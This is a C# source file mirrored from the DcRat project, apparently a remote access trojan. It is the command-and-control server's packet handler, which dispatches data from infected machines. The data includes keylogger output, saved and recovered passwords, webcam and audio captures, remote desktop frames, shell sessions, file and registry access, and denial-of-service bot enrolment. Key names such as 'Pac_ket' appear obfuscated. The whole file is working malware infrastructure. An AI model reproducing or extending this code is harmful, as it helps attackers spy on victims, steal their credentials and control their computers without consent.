mirror of https://github.com/qwqdanchun/DcRat.git
221 lines
8.6 KiB
C#
221 lines
8.6 KiB
C#
using Server.Connection;
|
|
using Server.MessagePack;
|
|
using System.Drawing;
|
|
using System.Windows.Forms;
|
|
using System.Threading;
|
|
using Server.Algorithm;
|
|
using System.IO;
|
|
using System.Diagnostics;
|
|
using System;
|
|
|
|
namespace Server.Handle_Packet
|
|
{
|
|
public class Packet
|
|
{
|
|
public Clients client;
|
|
public byte[] data;
|
|
|
|
public void Read(object o)
|
|
{
|
|
try
|
|
{
|
|
MsgPack unpack_msgpack = new MsgPack();
|
|
unpack_msgpack.DecodeFromBytes(data);
|
|
Program.form1.Invoke((MethodInvoker)(() =>
|
|
{
|
|
switch (unpack_msgpack.ForcePathObject("Pac_ket").AsString)
|
|
{
|
|
case "ClientInfo":
|
|
{
|
|
ThreadPool.QueueUserWorkItem(delegate {
|
|
new HandleListView().AddToListview(client, unpack_msgpack);
|
|
});
|
|
break;
|
|
}
|
|
|
|
case "Ping":
|
|
{
|
|
new HandlePing().Ping(client, unpack_msgpack);
|
|
client.LastPing = DateTime.Now;
|
|
break;
|
|
}
|
|
|
|
case "Po_ng":
|
|
{
|
|
new HandlePing().Po_ng(client, unpack_msgpack);
|
|
client.LastPing = DateTime.Now;
|
|
break;
|
|
}
|
|
|
|
case "Logs":
|
|
{
|
|
new HandleLogs().Addmsg($"From {client.Ip} client: {unpack_msgpack.ForcePathObject("Message").AsString}", Color.Black);
|
|
break;
|
|
}
|
|
|
|
case "thumbnails":
|
|
{
|
|
client.ID = unpack_msgpack.ForcePathObject("Hwid").AsString;
|
|
new HandleThumbnails(client, unpack_msgpack);
|
|
break;
|
|
}
|
|
|
|
case "Received":
|
|
{
|
|
new HandleListView().Received(client);
|
|
client.LastPing = DateTime.Now;
|
|
break;
|
|
}
|
|
|
|
case "Error":
|
|
{
|
|
new HandleLogs().Addmsg($"Error from {client.Ip} client: {unpack_msgpack.ForcePathObject("Error").AsString}", Color.Red);
|
|
/*lock (Settings.LockListviewClients)
|
|
{
|
|
client.LV.ForeColor = Color.Empty;
|
|
}*/
|
|
break;
|
|
}
|
|
case "remoteDesktop":
|
|
{
|
|
new HandleRemoteDesktop().Capture(client, unpack_msgpack);
|
|
break;
|
|
}
|
|
|
|
case "processManager":
|
|
{
|
|
new HandleProcessManager().GetProcess(client, unpack_msgpack);
|
|
break;
|
|
}
|
|
|
|
case "netstat":
|
|
{
|
|
new HandleNetstat().GetProcess(client, unpack_msgpack);
|
|
break;
|
|
}
|
|
|
|
case "socketDownload":
|
|
{
|
|
new HandleFileManager().SocketDownload(client, unpack_msgpack);
|
|
break;
|
|
}
|
|
|
|
case "keyLogger":
|
|
{
|
|
new HandleKeylogger(client, unpack_msgpack);
|
|
break;
|
|
}
|
|
|
|
case "fileManager":
|
|
{
|
|
new HandleFileManager().FileManager(client, unpack_msgpack);
|
|
break;
|
|
}
|
|
|
|
case "shell":
|
|
{
|
|
new HandleShell(unpack_msgpack, client);
|
|
break;
|
|
}
|
|
|
|
case "chat":
|
|
{
|
|
new HandleChat().Read(unpack_msgpack, client);
|
|
break;
|
|
}
|
|
|
|
case "chat-":
|
|
{
|
|
new HandleChat().GetClient(unpack_msgpack, client);
|
|
break;
|
|
}
|
|
|
|
case "reportWindow":
|
|
{
|
|
new HandleReportWindow(client, unpack_msgpack.ForcePathObject("Report").AsString);
|
|
break;
|
|
}
|
|
|
|
case "reportWindow-":
|
|
{
|
|
if (Settings.ReportWindow == false)
|
|
{
|
|
MsgPack packet = new MsgPack();
|
|
packet.ForcePathObject("Pac_ket").AsString = "reportWindow";
|
|
packet.ForcePathObject("Option").AsString = "stop";
|
|
ThreadPool.QueueUserWorkItem(client.Send, packet.Encode2Bytes());
|
|
return;
|
|
}
|
|
lock (Settings.LockReportWindowClients)
|
|
Settings.ReportWindowClients.Add(client);
|
|
break;
|
|
}
|
|
|
|
case "webcam":
|
|
{
|
|
new HandleWebcam(unpack_msgpack, client);
|
|
break;
|
|
}
|
|
|
|
case "dosAdd":
|
|
{
|
|
new HandleDos().Add(client, unpack_msgpack);
|
|
break;
|
|
}
|
|
|
|
case "sendPlugin":
|
|
{
|
|
new HandleLogs().Addmsg($"Sending plugun to {client.Ip} ……", Color.Blue);
|
|
ThreadPool.QueueUserWorkItem(delegate {
|
|
client.SendPlugin(unpack_msgpack.ForcePathObject("Hashes").AsString);
|
|
});
|
|
break;
|
|
}
|
|
|
|
case "fileSearcher":
|
|
{
|
|
new HandleFileSearcher().SaveZipFile(client, unpack_msgpack);
|
|
break;
|
|
}
|
|
case "Information":
|
|
{
|
|
new HandleInformation().AddToInformationList(client, unpack_msgpack);
|
|
break;
|
|
}
|
|
case "Password":
|
|
{
|
|
new HandlePassword().SavePassword(client, unpack_msgpack);
|
|
break;
|
|
}
|
|
case "Audio":
|
|
{
|
|
new HandleAudio().SaveAudio(client, unpack_msgpack);
|
|
break;
|
|
}
|
|
case "recoveryPassword":
|
|
{
|
|
new HandleRecovery(client, unpack_msgpack);
|
|
break;
|
|
}
|
|
|
|
case "regManager":
|
|
{
|
|
new HandleRegManager().RegManager(client, unpack_msgpack);
|
|
break;
|
|
}
|
|
|
|
case "fun":
|
|
{
|
|
new HandleFun().Fun(client, unpack_msgpack);
|
|
break;
|
|
}
|
|
}
|
|
}));
|
|
}
|
|
catch
|
|
{
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
} |